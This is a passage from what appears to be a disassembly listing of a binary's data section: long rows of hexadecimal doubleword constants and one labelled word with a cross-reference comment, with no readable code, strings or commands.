		dd 45523019h, 0D67C4800h, 652523E9h, 0DA260912h, 4000C6E3h
		dd 0FBBA2086h, 10733B0h
		dd 9345410Bh, 4FE06877h, 0AF607Ah, 0B2DB4DD3h, 2FE0D2A9h
		dd 74616B3Eh, 0B1BB9F02h, 6015787Ah, 0FA99B4h, 0C2514C9Ah
		dd 0A6256462h, 84311D01h, 517CF5Dh, 0FCFA5330h,	2CBA0085h
		dd 4B749C36h, 0E001311h, 0F937197Fh, 18ABF540h,	18163F7Ah
		dd 0D50079D3h, 527F8832h, 0FEC5303Dh, 1FB90718h, 20F95038h
		dd 544642Ch, 0ECE1BC26h, 0AB261680h, 30DE8241h,	0EE70846Bh
		dd 3A004CCBh, 0D84B72CCh, 0BE307Eh, 6BF5FDE0h, 0D2AA01FAh
		dd 0AD08BC00h, 0D17A48A0h, 0BA5900D9h, 8B05BEEEh, 4200D014h
		dd 0BD5AC31Dh, 29CA37h,	0DAE46E10h, 1248B263h, 4E491E00h
		dd 0B0D26299h, 40460029h, 329BFBE5h, 8781244h, 0EF24C679h
		dd 6C802CF4h, 0B8ABBB27h, 5993002Ch, 96488E2Bh,	6A00A91Ch
		dd 0A5440D01h, 2C222Fh,	16B8C3B5h, 1CB975E0h, 1F31C15Ch
		dd 5E824F7Fh, 600B6864h, 3E65DFB4h, 3280C8C7h, 0F0F28BC6h
		dd 25061D5Ah, 8A093457h, 3059001Ch, 3396B06Ah, 0DE00AF24h
		dd 0B34F85B4h, 3D421F3Ch, 3F001CC7h, 0AE8FBB28h, 98009FF7h
		dd 0E6D2EBBFh, 838C2Dh,	0C3790E0Dh, 0FD229B68h,	99737775h
		dd 0BD098618h, 380FC48h, 4C39D39Dh, 41017B24h, 0B967EE2Eh
		dd 72D4D932h, 80E400C0h, 1953AB5Eh, 3B1C819Ah, 0BDC00985h
		dd 67EB5210h, 0AC383B41h, 9EECEA2Ch, 0F73B83F0h, 0DCF86A22h
		dd 0D302107Dh, 0F50304A9h, 5118407Bh, 0ACFB1345h, 8B5C0756h
		dd 47C6E011h, 6F03CF39h, 0BC9F2937h, 0CD4E8E5h,	0FC3B48ABh
		dd 0E4E4FC7Fh, 4ADF1865h, 62957111h, 4988A80Eh,	6F821E27h
		dd 8147DF50h, 0A8599710h, 3F291C34h, 26B1F0F5h,	8FC9DB08h
		dd 9DFD2719h, 0AC53C40h, 1BF6A9Fh, 0C60D6C97h, 0E0254D19h
		dd 0DD6115BDh, 5E73628h, 30A86474h, 6F68047Bh, 93184856h
		dd 329B9AAh, 10211627h,	45404ABAh, 20059044h, 271503DCh
		dd 0A985942Bh, 0C1D52124h, 7135627h, 30DD58B8h,	33F0B09Ch
		dd 7E0043ECh, 0E34716FCh, 9F6BB420h, 0B7004DF8h, 3A7776EAh
		dd 135A1929h, 0D06960h,	4B91A458h, 9205C067h, 2E38211Ah
		dd 49EA8BC0h, 0F8CC00FAh, 485D59E3h, 0BA0F7127h, 97B34B6Eh
		dd 1F76FE00h, 9814AE5Eh, 0F904607Eh, 3686B9E0h,	1A198E0Eh
		dd 25D1C7A8h, 3D21FB46h, 300A1CBh, 88399176h, 0DF00DCABh
		dd 19688969h, 516F50Ah,	8CB653ECh, 64905E44h, 38B300C7h
		dd 3110E537h, 31E4673Ah, 2A04211Fh, 7A9E60h, 57C83277h
		dd 0C5622C7Ch, 0E0EC1E00h, 0A88AE945h, 0A7807BBh, 53D1E4h
		dd 2933B602h, 74005091h, 6FC294D2h, 44707EEh, 44480797h
		dd 0D3D4D0FCh, 27009514h, 0FE2EC340h, 6CCE3A51h, 0B68960EBh
		dd 0E9C34898h, 0F89BC58Bh, 73455A38h, 111C3027h, 93B2BD80h
		dd 57E17215h, 10823A0h,	8E3786BEh, 0CA1E0E01h, 0F26783A6h
		dd 90B459EEh, 0D5FA8D0Ch, 520BBA00h, 21B949D9h,	0E9AC007Ch
		dd 33CA99AAh, 89C4E0E4h, 8010B0C0h, 0C7AA106h, 6D031041h
		dd 5A1589F2h, 0CCFB901Bh, 209913BFh, 0C0511D90h, 0CDFF91B4h
		dd 0D5000518h, 0ED448707h, 0A2D3C0h, 1F5B414Ah,	8BEED8A6h
		dd 13989400h, 0B5C4287Ch, 0C0960009h, 5BAF1D7Eh, 0D500FBC1h
		dd 0EFEB9A18h, 7717E692h, 0BB660054h, 3D2C9F3h,	0C124EE70h
		dd 350003F0h, 0B2D80936h, 0E43F0004h, 9C92C4D2h, 0CA001EA3h
		dd 0F3FD87EEh, 9FB481h,	20A9AD7Fh, 0A86B5122h, 31FAEB07h
		dd 7D70F946h, 0B73615h,	2F74AEDDh, 2169E1FFh, 90F7EA07h
		dd 917114E7h, 0F1FCFD89h, 7B9501F9h, 0ED029473h, 0EA4AF0BDh
		dd 0FF2DDA00h, 0CA330CA0h, 0D8A70148h, 18BDBBA4h, 32A6C87Fh
		dd 126CFD0Ah, 9501D0DDh, 9CB02493h, 96B1588Ch, 1E7F6C08h
		dd 0A2D45F00h, 6E3570BEh, 3CB20FE3h, 51002D99h,	0DCCA34BFh
		dd 495E0F00h, 0E39C0462h, 633D0C3Eh, 0CFA95B14h, 7CF07901h
		dd 6156E557h, 90D799D0h, 3AF10001h, 88827AC3h, 31C76DCAh
		dd 808D1267h, 150EE0h, 0A9C1B1BFh, 5FAB03CCh, 0A15AF30Ch
		dd 892076h, 64490B6Fh, 54E343F0h, 7A998A0Eh, 0DC50050h
		dd 3014CA8Fh, 0A7A16EE8h, 56083E43h, 80BC1567h,	227EC98Bh
		dd 1F3D733Ah, 3FD1BB0Fh, 6869977Ch, 0D513A303h,	9401BD17h
		dd 86CEEC05h, 30B391E8h, 57894BA6h, 4E98D4D7h, 8EEBD918h
		dd 607888C1h, 19C2696Ah, 0C6FC1496h, 0D81D10C0h, 3DC41Eh
		dd 0E1FC3E08h, 8CC0391Ch, 90727300h, 52F7A05Eh,	0D20F00D1h
		dd 0A693B077h, 0C63D55BFh, 24250098h, 72F1671Bh, 9DB1718h
		dd 36C60061h, 0E85FFA14h, 967EE9FEh, 0BFC66200h, 0E2A1E3B2h
		dd 4411CAB8h, 3F0F7C04h, 80450B4Eh, 0EAF5EFDAh,	23290087h
		dd 6B64C94Ah, 5F001099h, 8339DBADh, 9D3015h, 0E1468709h
		dd 2BAFCCEEh, 41343600h, 2CBE7E72h, 26847E9Eh, 63AA35h
		dd 4BB02E60h, 76006D74h, 2445E89Dh, 112CB2h, 0E61FC953h
		dd 19D8CE44h, 0E92A3300h, 13D19F4Dh, 8AE10070h,	6CF7F412h
		dd 5000B984h, 386AEDD2h, 629861h, 2794539Ah, 0BF3242D7h
		dd 117F7B0Eh, 0D4D8A009h, 0C94EDBh, 0EF0CF912h,	469489E6h
		dd 0DFB1BB1Dh, 0BDF81980h, 0FBC24Dh, 0B8D1CC88h, 7481C891h
		dd 0FE936600h, 731C6D6Bh, 0EF8300DCh, 85991288h, 8200399Eh
		dd 268A1F08h, 7FA62C18h, 36780Ah, 0B0742F04h, 0C754CBEEh
		dd 730840E1h, 1F00F867h, 7D0D2778h, 0D10925h, 0D796560Eh
		dd 4FAEBA02h, 0D8CCBC50h, 2B001EB8h, 3A180A1Bh,	0A6EEB1h
		dd 6C6AD4F2h, 44A50166h, 4002067Fh, 0B415C66Bh,	0F8C0DDCBh
		dd 0F900CC68h, 74DD6339h, 0E723DCh, 3611D893h, 0E96907EEh
		dd 8B70B461h, 0D100BFC4h, 3007FBA9h, 0C0CAF814h, 0FAA187A0h
		dd 0C8960EF0h, 762032B5h, 78BF6C8Dh, 836F7C00h,	1FA2BB2Ch
		dd 1AE4A0BDh, 7427397h,	7BD04EADh, 7FA490C3h, 0D709C9ECh
		dd 8CEEF9h, 12FDD9D7h, 51310021h, 0E8DA634Ch, 0CB775040h
		dd 73AF7700h, 537E118Eh, 6A951482h, 0D40F4CAEh,	3CE74AF6h
		dd 6C41A0F1h, 0E9FE4673h, 0F426110Fh, 0E3D6202Eh, 3B72836h
		dd 182489A8h, 4BF09BFCh, 6A71591Bh, 416E73Bh, 1CB5CAC5h
		dd 0A508081h, 7E003C22h, 0EDA8B612h, 0B71E0130h, 3C43C4A0h
		dd 0C95C0CBFh, 9BF0B5D9h, 8B160004h, 29D6B4E5h,	0E0085CBh
		dd 67CD70Bh, 0C309EC8h,	8B52F8C6h, 59FE3C18h, 3FB3CC00h
		dd 0D8ADFFEFh, 0E5601E6Dh, 0BD30C091h, 810CAC21h, 18ED390Eh
		dd 15031C13h, 0E149D5h,	0D31BA2B2h, 26C40636h, 17BA910Ch
		dd 39522D2h, 47C501A0h,	0D0006932h, 0F03A8934h,	1F51F811h
		dd 81B0DCCBh, 0A9BC8D98h, 37D8501Bh, 0EB00DF65h, 0E3F4842Bh
		dd 60D08AF6h, 9C32B086h, 0F73F588Fh, 0E0E8870Ah, 7DC0090Dh
		dd 0F71744Dh, 0EC153A91h, 8F5C5D60h, 4B00112Eh,	289FAE46h
		dd 38298EB5h, 8C280533h, 0D5DB00E0h, 0E13B99D0h, 80C0BC7Dh
		dd 7442E841h, 966E262Dh, 0D8DD0020h, 1D770E51h,	50BEBB26h
		dd 0A24AB881h, 8EF4ECCEh, 0FEFC263Fh, 40811CEEh, 0D54BDFF8h
		dd 3BE2842Ch, 0A8EBFA30h, 614E6F90h, 24759891h,	3CE4DCCAh
		dd 0FA47BA1Dh, 557EF700h, 23A4DAh, 578FD353h, 0D8212D9Ch
		dd 84313818h, 407449h, 0F080796h, 1298A1CEh, 13ED6A00h
		dd 873445A0h, 0AD4B0253h, 6318D3DDh, 96556EE0h,	42472700h
		dd 28DE315h, 5D780E1Bh,	38204EE1h, 5C6A7A58h, 0A2ABE402h
		dd 0E3EA17EBh, 0E6ECE0E5h, 0C02C1F8Bh, 83C6C0EEh, 359FD280h
		dd 0E1F4C300h, 0F152C1D4h
		dd 5E1F1739h, 6E4000C8h, 13C571F9h, 80ED3507h, 0B5C35186h
		dd 997AB029h, 0A6731264h, 400807BBh, 0EAE8C1C9h, 0CB808165h
		dd 0F97D7E3Dh, 2607ACF0h, 8308CDE0h, 92B56ADh, 703F78C8h
		dd 0F81C9700h, 0E4C36046h, 0B5C6008Bh, 0C06F2095h, 0D7F5C68h
		dd 0F7CAEA00h, 0ED630350h, 9D2401A2h, 2F6F7977h, 0E1FA7006h
		dd 9D884Ch, 338410A1h, 78238931h, 8E4200BAh, 6A6E1362h
		dd 9100478Ch, 0F4C84ACFh, 38126B2h, 7E07AF59h, 0A009C788h
		dd 2A56DFh, 0F5337C08h,	7F2C13BBh, 0F06E0172h, 0E160F7C9h
		dd 6E9C30B0h, 2507A5B8h, 660F4DB4h, 63861CF0h, 3C9B07C3h
		dd 0A03E6FC7h, 4CBE1489h, 7E80044Eh, 18A8E64Bh,	1815A377h
		dd 2301CEAFh, 57F4709Bh, 0C0CCC676h, 0C17BB9h, 0E3D5CFFh
		dd 0ABFA588Bh, 0C65A8004h, 0F981BE17h, 3ED94213h, 4FEAC20h
		dd 0EE1A6BCBh, 0D9BCD0F2h, 2505FFABh, 177550F1h, 2311B000h
		dd 5D0E79h, 0F38A9C0h, 33036A47h, 49CC261Fh, 0A4880F8h
		dd 8144CEEDh, 5DB000ACh, 0BC9CF0E4h, 290014C1h,	246ED7D6h
		dd 7E1DA5h, 1F325B36h, 523942CAh, 98180FB0h, 9B389CC7h
		dd 4C8E0EB6h, 0BCC019FCh, 45EB348Bh, 23D7CB0Fh,	0E428613h
		dd 0D89B0341h, 0EEC8ADCFh, 0D5F226E8h, 1054D58h, 241C5EDAh
		dd 37607B17h, 2E727Eh, 87EBDECEh, 0D6A77137h, 8091FF3Ch
		dd 610F8902h, 1F52B578h, 4E5434EEh, 72E7483Bh, 0C6A4F09Bh
		dd 1008C3Dh, 266FDABh, 0E00ED48Bh, 0F77F206h, 0CA614C53h
		dd 67B3C09Ch, 0DA87CB82h, 1500FD7Bh, 0C1AD8598h, 198379h
		dd 38765FB9h, 60BF8E21h, 4FA7B006h, 107251h, 4CD6D82Fh
		dd 1F937F50h, 1D372C12h, 5DC2E821h, 6141F8h, 8A2AAC04h
		dd 0D2572E24h, 8773181Dh, 7B6F9B80h, 0D8B602h, 4365D350h
		dd 0A31F5F7Eh, 7AF88F18h, 61260710h, 0ED3F56B8h, 0F2D8F7B4h
		dd 0AC3C400Ch, 726F80F6h, 34947646h, 0CF1B13FEh, 0EF8040BBh
		dd 0F651B0BCh, 8BD44F17h, 24003813h, 0EC490A8Ch, 58C40140h
		dd 63A1AEA3h, 0DB1070B1h, 0C5FEDAE6h, 7EB7190Eh, 0E7CB95h
		dd 93EF7194h, 7F41183Dh, 3BBF604Bh, 3C60332Eh, 2902DD81h
		dd 89DDC86h, 3B1907D7h,	4121DC5Bh, 9549971Eh, 9ED65846h
		dd 0CD97408h, 635C3EC0h, 0E90F4450h, 61920BB8h,	0F090E083h
		dd 0E84FBD0h, 0E6F63158h, 0CD50B820h, 3F007D99h, 52977274h
		dd 12BC9F28h, 3E0D992h,	63A2C5A6h, 93E790Ch, 3B6B02Fh
		dd 74DAFE41h, 2802E112h, 3EC29EEFh, 0A240A052h,	80F09DB8h
		dd 0E7E8F3BAh, 0BF283854h, 2A00CB90h, 0B78CD6C7h, 1EA075h
		dd 5BBDA369h, 967ABB9h,	487B8900h, 75E26873h, 518F0078h
		dd 0CA90EA7Ch, 0BF070474h, 11B2186h, 8A00F147h,	7D7B41h
		dd 3D63C762h, 0E729D173h, 0D7720616h, 19ED7A00h, 7DB740E0h
		dd 70300A7h, 7B09B8B6h,	0D7012761h, 154C816h, 0DC29BC57h
		dd 0B68530E0h, 0B0E9C70Ch, 0C2191Eh, 9EDD7929h,	0E74E5833h
		dd 265B233Ah, 0DC809C05h, 6D8E7811h, 55DD0CB7h,	0C7695D95h
		dd 0C11C3A00h, 70CE0A73h, 1E4F00F7h, 109AC668h,	16EE08E9h
		dd 38300E60h, 97E81703h, 4E429640h, 0D59CCCA8h,	1EA8690Fh
		dd 8F41E0FBh, 1BD5D0Ah,	392F8658h, 806E3D84h, 0A5526220h
		dd 0A70FD914h, 0F8D60820h, 0D7B816C0h, 8050E7BFh, 1A8ED5Fh
		dd 0FE01B72Ch, 0BD093F63h, 41216F08h, 0D753A915h, 6E78CC5h
		dd 2F0E158h, 0B101C811h, 0DADB2585h, 0F882C9BFh, 0BE0CE0C6h
		dd 0BCE5C0FDh, 182148EEh, 8E926680h, 9A03DC82h,	0F8471E29h
		dd 6DA32Eh, 8EE51C21h, 0A3708140h, 9A09BA00h, 0DAC6BBF0h
		dd 60FB67C7h, 1F284A4Ah, 67F0413Ch, 0D0403927h,	305D3855h
		dd 15E458E0h, 788C9710h, 6C42400h, 83D890E1h, 223B33B8h
		dd 21002F08h, 5006CC7Ah, 33DB670Ch, 98E07FD1h, 717B6230h
		dd 0C01C8B55h, 5EB38231h, 0E03B30FDh, 124505D2h, 9C42D0E2h
		dd 44E34AE5h, 0D37F000Ch, 0A72609Bh, 8A05E0E7h,	8370C94Fh
		dd 588A804h, 7F979C0h, 0B5AF18B0h, 0FE39185Fh, 918C360Ch
		dd 79F31071h, 0D90A021Ch, 0F89FDB76h, 0E85F8880h, 0B8A0A62Ch
		dd 0AC00301Dh, 1EBBC62Dh, 3AB4BAh, 0B8477E4Bh, 68B1F128h
		dd 97940C03h, 0BE4D8EBDh, 0BC822658h, 0A9184094h, 100067C2h
		dd 0CD646F47h, 1C09F4E5h, 2E1154h, 13F25FBCh, 0E800D49Eh
		dd 68223FAEh, 607E737Fh, 57BA90ECh, 0B5001247h,	9D5CB215h
		dd 0C1B3D4E9h, 2FC5DFA0h, 115C58FEh, 40676D80h,	0B1B813A8h
		dd 0E0BCF43Dh, 69CD5D99h, 0FCF100E2h, 39AD7B68h, 64187331h
		dd 0DAE17F30h, 0DBD504AFh, 98EFC7B3h, 794C2FE8h, 4CE45170h
		dd 21C011E8h, 38781722h, 5726010Dh, 694D0649h, 8397E945h
		dd 5EB13CA1h, 0C76388E0h, 0B75D0631h, 0B066B4D4h, 0EA971D00h
		dd 9C3671F6h, 0C865054Ah, 40ECD430h, 0B5D887F0h, 90F01Fh
		dd 0DF71C61Eh, 84F37C0Ah, 8B119002h, 6A4600D1h,	67018166h
		dd 0EC624516h, 44200FAAh, 26DD265Bh, 34723B18h,	9030B8ACh
		dd 8B9D6248h, 50DAF4E8h, 33809038h, 0AB048694h,	80909206h
		dd 0DF803867h, 5FE906D2h, 7696047Fh, 0C116D9CCh, 20C7BD28h
		dd 660CC428h, 68FC503Bh, 0E0960940h, 4A110C9h, 89E68375h
		dd 21AC691h, 68595F70h,	64C8AC80h, 0CBB4B1AFh, 7E3DFB8h
		dd 0F113B774h, 0F0B3EDF5h, 70FDBAAEh, 5A18CFA9h, 0BCC91E39h
		dd 0C959DD1Ah, 5C000854h, 0E993CFADh, 905E8830h, 289CB124h
		dd 15D06495h, 9C35DA0Dh, 2D994804h, 0A774D27Eh,	56014C40h
		dd 0F2E04082h, 0E35588BAh, 76A43A4Dh, 1B42252h,	0F5B7E03Eh
		dd 0C434C59Fh, 0BC3913D8h, 0E18460D9h, 0DC23878Eh, 16911F2h
		dd 0B89E981h, 0D0F41C7Fh, 15480251h, 0BF64DE88h, 3D05D0C4h
		dd 34F3CB74h, 0F12CC8h,	14B8E88Dh, 703F0A71h, 6F4219C0h
		dd 7E29DDh, 0CFE1E776h,	0E50F5680h, 20011276h, 959FD2CCh
		dd 88A44ADEh, 0A4670FACh, 9A55BE01h, 2C498651h,	0E94394h
		dd 0DF0F373h, 0CB40D8ABh, 2A3BDB02h, 402890E6h,	14F3E2Ch
		dd 1CE25E04h, 44126E0Ch, 0D340C29Ch, 8A8D130h, 0F5E1B728h
		dd 4A40A464h, 0CF3BA8D9h, 1A69E203h, 0F1079C22h, 5AF51EA5h
		dd 1C7844E2h, 51971CE6h, 0BC030012h, 0B72632CEh, 152C075Dh
		dd 90E91782h, 2BACB4E0h, 9F2FC407h, 9993ECD5h, 23A00924h
		dd 782A98D4h, 0BDFA0854h, 0E6792860h, 223B469Eh, 2430EE0Eh
		dd 4CAD79h, 143E2FCAh, 4C17FA15h, 0B814B1DBh, 3A0A1004h
		dd 68EE6C0h, 448CFADCh,	0EE098073h, 2D09489h, 75BD58h
		dd 3761CB70h, 0B839C412h, 0C02CF408h, 909D0150h, 881818FDh
		dd 60DD7DEh, 0D9E24A89h, 8A7D6040h, 795B6035h, 0B3642529h
		dd 50AEF303h, 0EDFF9537h, 8981DB00h, 15112Ch, 3F244EC1h
		dd 3B56FE49h, 0E00D7631h, 9D0C21EDh, 0DC838E08h, 4068C492h
		dd 0F98EE41Dh, 60BF2EDh, 0B30F1CF4h, 0F8F89914h, 6F558h
		dd 32267B6Eh, 4C43DAC7h, 330A40C3h, 407C2D69h, 909C06BDh
		dd 2D22B046h, 0DD5Ch, 0A30D9405h, 13958BBDh, 42204E08h
		dd 80258460h, 14D2B080h, 41308C30h, 2450106Bh, 0CAC502B9h
		dd 63027DDCh, 4138E460h, 0B00FCE4Fh, 12C3E6D9h,	0DA520718h
		dd 0C3BA5C83h, 0E8B8EC26h, 3726FC08h, 9E8A1CC6h, 0BE89BC35h
		dd 1A602031h, 15E36B9h,	5B9C1C15h, 4821EBB4h, 0E800E1C8h
		dd 43B9DAC5h, 0E2CC3613h, 24890FDDh, 0A2C0D392h, 0F09EE4D4h
		dd 0D041F631h, 0F9805594h
		dd 790D6577h, 910039BBh, 0E957EFCBh, 3B8ACD93h,	65805EF1h
		dd 54D89CB0h, 3012425Dh, 0D41E43BEh, 0A8E40063h, 0C239B725h
		dd 0EC758085h, 674149A8h, 7CAB7C24h, 0F5938E3Eh, 8827C0DDh
		dd 4D369D8h, 7ADB9C33h,	0C4B08EA0h, 0C330C618h,	93E207EBh
		dd 0B113DB7Fh, 0D04259ACh, 0A0F3E0E1h, 1D2B7B4h, 53DD14DFh
		dd 0CE00CC13h, 0F3E57E5Ah, 90008706h, 35A2AFD8h, 93A8937h
		dd 1169E382h, 0D1071846h, 5090E006h, 402E64F8h,	0D806D909h
		dd 3D9B01C1h, 0A184F3Fh, 3CF08FF4h, 38694117h, 0F82614BCh
		dd 4CC47850h, 8853B4DCh, 86006B22h, 820A89ECh, 0E4BA9046h
		dd 0F24C0740h, 503BEA6Dh, 7379181Ch, 0BB6B2Eh, 0EB5D903h
		dd 24D0C5EDh, 0B819365Fh, 0C1FDF9B4h, 94CA07h, 0C68EFAEAh
		dd 23549C30h, 55603FC0h, 0D39FF979h, 17C1902Ch,	50B4554h
		dd 414EEB70h, 0B09C26A4h, 6BC45016h, 0ECF36852h, 0E400E153h
		dd 936FF33Ch, 0C4A32B71h, 0C29F2798h, 0DE205D04h, 5FD0484h
		dd 31A4B1D8h, 0C4D80F5Bh, 0C73C2D03h, 997EA839h, 0D740A1FFh
		dd 0EBE42021h, 99F603EFh, 97357031h, 2C843BC9h,	0D9E50134h
		dd 1A27D37Ch, 1DDAF040h, 8EBD1320h, 3FE04699h, 90138156h
		dd 0C20060E0h, 0FFA250Eh, 0DF890098h, 0BA4304C3h, 3C00F5D8h
		dd 0AC13F9F0h, 9839D396h, 0EBA0086Ch, 0EF11B799h, 518E9380h
		dd 7C52E2DFh, 0B723CAE4h, 4D3CAB00h, 7D760A8Bh,	0A03DE825h
		dd 4312CE4h, 0CF78BA35h, 5587C02Ah, 2C921039h, 7E4FE426h
		dd 14CB0200h, 12E0D8E6h, 124A4EF0h, 0B65C09ECh,	5C27045h
		dd 0D4DF18C7h, 0B2307FECh, 0A1E190Dh, 89D0015h,	0EB862F8Bh
		dd 0FF02DDB7h, 84B6074Ch, 6A38C9A5h, 3C626980h,	320D673Fh
		dd 98EF9C35h, 925DC290h, 0F8E12790h, 31277800h,	0E21A1385h
		dd 0C0D8BA42h, 808039A4h, 0BC2EA9E7h, 0D82022EAh, 0B8C1852Ch
		dd 2560E544h, 9E23E179h, 50A1153h, 0C4792D28h, 2045CD0Eh
		dd 47DB7C82h, 3B089017h, 34A4BB8h, 0AEBD27ACh, 0E1D8A094h
		dd 4A6E1013h, 40136091h, 0C5019479h, 0CE089E60h, 0CFF47434h
		dd 73411306h, 58115Ah, 0EC6CAE45h, 0C707E0D9h, 93B13761h
		dd 805004E9h, 9BDDDBh, 0BA0A6C6Bh, 0CEE4294Eh, 70A77024h
		dd 22C5C69Fh, 203C16D2h, 0B6E460Ah, 68C1E94Ah, 0F60878h
		dd 2B15305Bh, 1B874B64h, 7EDEF509h, 0C4FC45EDh,	527A6023h
		dd 0D5010F31h, 27C24FE1h, 0B8418757h, 0C6A850B4h, 2D13DB5Bh
		dd 3800E3F1h, 0C706E03Fh, 331401D8h, 7CE193D7h,	38C0924Eh
		dd 6F23982Fh, 6168F207h, 0E0B1BD42h, 3D9D4B30h,	80EF148Bh
		dd 0B0C7B964h, 9743166Ch, 0E706CA02h, 0EC712890h, 18E00466h
		dd 6CBAFCD7h, 58C44685h, 98B7C7E8h, 12C1729h, 90E606CFh
		dd 7B2E0E20h, 0DC6502A4h, 0CE82F56Bh, 68402969h, 34905C49h
		dd 0BCEB6C12h, 45B43C32h, 80F1EFDCh, 952B7951h,	7F8E00A7h
		dd 0F0E10ABBh, 60924676h, 63459C14h, 0B5706230h, 7E10054h
		dd 6DF8B990h, 7D738D00h, 11AC0EA9h, 0E2190066h,	0EFEA6870h
		dd 0DF008C0Bh, 3777A586h, 51B848h, 0D5AD230h, 2F2A3DEAh
		dd 0B5740807h, 1DF74335h, 0EB6D6440h, 82213076h, 0B06A13FCh
		dd 19E87970h, 0DC203460h, 0A6218Eh, 3299DF31h, 61902BC2h
		dd 0BAD148C4h, 0A821B037h, 0CE171E9h, 2221C005h, 6EB92188h
		dd 0B2035200h, 0EA9F929Ch, 505067A2h, 60AAE05Eh, 78003E17h
		dd 0FE3A3089h, 1EDDCEB0h, 0B6D63h, 74A38F04h, 0FC0CAF9Fh
		dd 8B7E739h, 20666003h,	1CA2F15Dh, 637193Fh, 6945B26Ah
		dd 600B3AC9h, 9108861Bh, 7D441AC0h, 0FBC2D100h,	0B3B51C97h
		dd 0C04FE896h, 7D4D7921h, 0D6399558h, 82C00354h, 98496612h
		dd 36AA678Fh, 0A8B0530Eh, 8D07CC46h, 189F76A3h,	53400FC4h
		dd 6BF8A387h, 0EDAB802h, 201E49AAh, 0A1BBC667h,	95E5DF00h
		dd 46CB3032h, 7F68C65Dh, 6400404Fh, 0AB20444Eh,	0E09CA6h
		dd 4CB6EEEDh, 95E884A2h, 75BC6C01h, 972E6462h, 694790D3h
		dd 0B82700C3h, 0B56C3B32h, 70007172h, 638B4E17h, 3F128F74h
		dd 0E581D725h, 0F8C69ADCh, 0CFDEC077h, 80903E3Eh, 38A08F82h
		dd 0DABDF1h, 3489ED1Bh,	407BB907h, 0C621A300h, 0A14E5492h
		dd 338A0FF1h, 9C5FBB8Bh, 5C6B4136h, 705AFF89h, 0F40EB2FDh
		dd 0C1D8E411h, 34363F44h, 0B8E5588Eh, 4074309Ch, 3100B37Bh
		dd 0FDFCBED4h, 787D855h, 0DA0E7D70h, 0CC9190D0h, 50005A3Eh
		dd 0BB976030h, 0E82CCD11h, 0C6C300BEh, 74A8CA9Eh, 0BD030B56h
		dd 89F4AEE8h, 7C001DAh,	0B4F6C260h, 4369D803h, 0BEA47000h
		dd 0BF3E910Ah, 4FDA00C8h, 8163997Fh, 0B9C0516Bh, 0E5E74360h
		dd 0E467C16h, 0CEF70C64h, 0A521AEC2h, 136F8A00h, 0D23200A8h
		dd 904BC914h, 0FE0081D5h, 0BF38DAE3h, 305C55h, 0DBC0A378h
		dd 2BEBED44h, 2CCF5B00h, 0DA19FD11h, 424B0098h,	27926DF2h
		dd 9A02076Bh, 1A032102h, 4E60F5C3h, 4A00743Eh, 315F636Eh
		dd 0E119975h, 8FA5E10Ch, 0AA294DE0h, 20008B79h,	0DF982F69h
		dd 0E06C173h, 0AE4C4776h, 3A8031C0h, 0A40E2C8Eh, 0C0A0BAD2h
		dd 7A7F4BF6h, 0B6110094h, 8DC0815Eh, 3E73DC2Bh,	6D59F900h
		dd 74016641h, 0E1040306h, 0A6D1D530h, 9A3180ECh, 0C07F0C9Dh
		dd 0C8573300h, 15C41FC5h, 4A5A0067h, 7B50168Eh,	0BF004D6Eh
		dd 7A72E836h, 66878h, 41DE9B43h, 291B832Fh, 3828D400h
		dd 1124CDCFh, 0FD810F7Dh, 0B0804FFAh, 0F2C4F3B4h, 0C06C911Eh
		dd 0C98EACF0h, 68B4A09Dh, 67070087h, 2E285E51h,	3290393Dh
		dd 6ED0B4A0h, 33001476h, 0E72B2C8Dh, 0A6FF30h, 978280F5h
		dd 2A679D68h, 73EF1A00h, 0E3C2B6B1h, 7CDEECBAh,	0EDDC14FDh
		dd 0F500EC86h, 0ACB54A82h, 72072E02h, 8AD7692h,	1F38AF30h
		dd 0E2241C63h, 0D89180F3h, 0EE3E6CB5h, 99E0FB07h, 0C4002717h
		dd 3363B5Ch, 8BEC8E49h,	0CBA92A4Ah, 0EEF6D02Bh,	7C8D5300h
		dd 3A255809h, 0BEC20703h, 1031EC48h, 0A195DDC5h, 12F0BFh
		dd 8BEBD920h, 0CC681022h, 2F007B79h, 5BF14E36h,	5E9B101h
		dd 0D46C158Dh, 8ED800E4h, 0A61C7BC3h, 2705FD00h, 0F1BD30F3h
		dd 0AD70F17h, 0C05D505Eh, 0BEB8B544h, 0D43F3486h, 56520078h
		dd 0E111FE25h, 0F40F0012h, 8E6AB792h, 7F00BC7Bh, 0A29C7DCBh
		dd 60D9ADh, 8F86B96Eh, 0FB84019Dh, 4BFE4F01h, 65DCDAC0h
		dd 0B72DF8h, 750C25B6h,	557F2856h
		db 0, 44h
word_544F42	dw 0C3B1h		; DATA XREF: ___:off_4374C0o
		dd 6C8F77DDh, 371A00F3h, 201B6A80h, 45004333h, 0D8B57A51h
		dd 3B0D7F82h, 6001934h,	0EF2CCBE1h, 0C51C8832h,	0FF01C30Eh
		dd 0E7F1FAA0h, 5C964BDCh, 3E0076D7h, 0D24E3B01h, 0B1009D93h
		dd 0C91E3F5Ah, 9C8009h,	3B40C0F6h, 9308607Fh, 0E5AA1F0Fh
		dd 91F860F1h, 4809Eh, 4AD50DFAh, 0E2E0CF54h, 3A8C9500h
		dd 1AD20AB5h, 4B8E009Eh, 0FF93FCABh, 4A7CFA9Ch,	0ED597A03h
		dd 0D00C8AC6h, 0C076890h, 0A196F3F2h, 0B011128h, 87E6C380h
		dd 0E82492D0h, 9453005Eh, 0B452355h, 630022F1h,	10C12E40h
		dd 78300F1Bh, 90B40015h, 0F994FA8Eh, 9C00239Bh,	0A341DA7Ah
		dd 481B16h, 58D0CC4Bh, 0E4B98C9Fh, 0BE892C00h, 462EAF4Fh
		dd 105FC4Dh, 0D7F39818h, 0E4D6CC6Fh, 572608B4h,	5C006429h
		dd 0EE231A1Ch, 0AE75C5h, 5F60F62Fh, 38F57902h, 6C2A5600h
		dd 0B8119CCh, 0A4BB0EB8h, 8C2E151h, 8F602FD3h, 25023815h
		dd 0CBA276DDh, 0EE544002h, 7B670458h, 0C34520BFh, 0E5E0F355h
		dd 78C42EA2h, 31C0318Eh, 0F7066E7h, 2B902339h, 0F3562AC0h
		dd 9272C3DDh, 0FD2239h,	0AA7F295Fh, 3B43DD0h, 4E0ACFD6h
		dd 0F098796Ch, 0AB009C1Eh, 2D89A872h, 6D8725h, 90DC2E1Ch
		dd 4595169h, 0D18AD70h,	191812F3h, 0BA2D3A93h, 58163280h
		dd 0E4ADC2E6h, 2704EEEEh, 6CB840D8h, 113571C0h,	4B29037Fh
		dd 41EFF5F4h, 5AFD4000h, 1CDA2B06h, 0E68C0348h,	0B5B991BEh
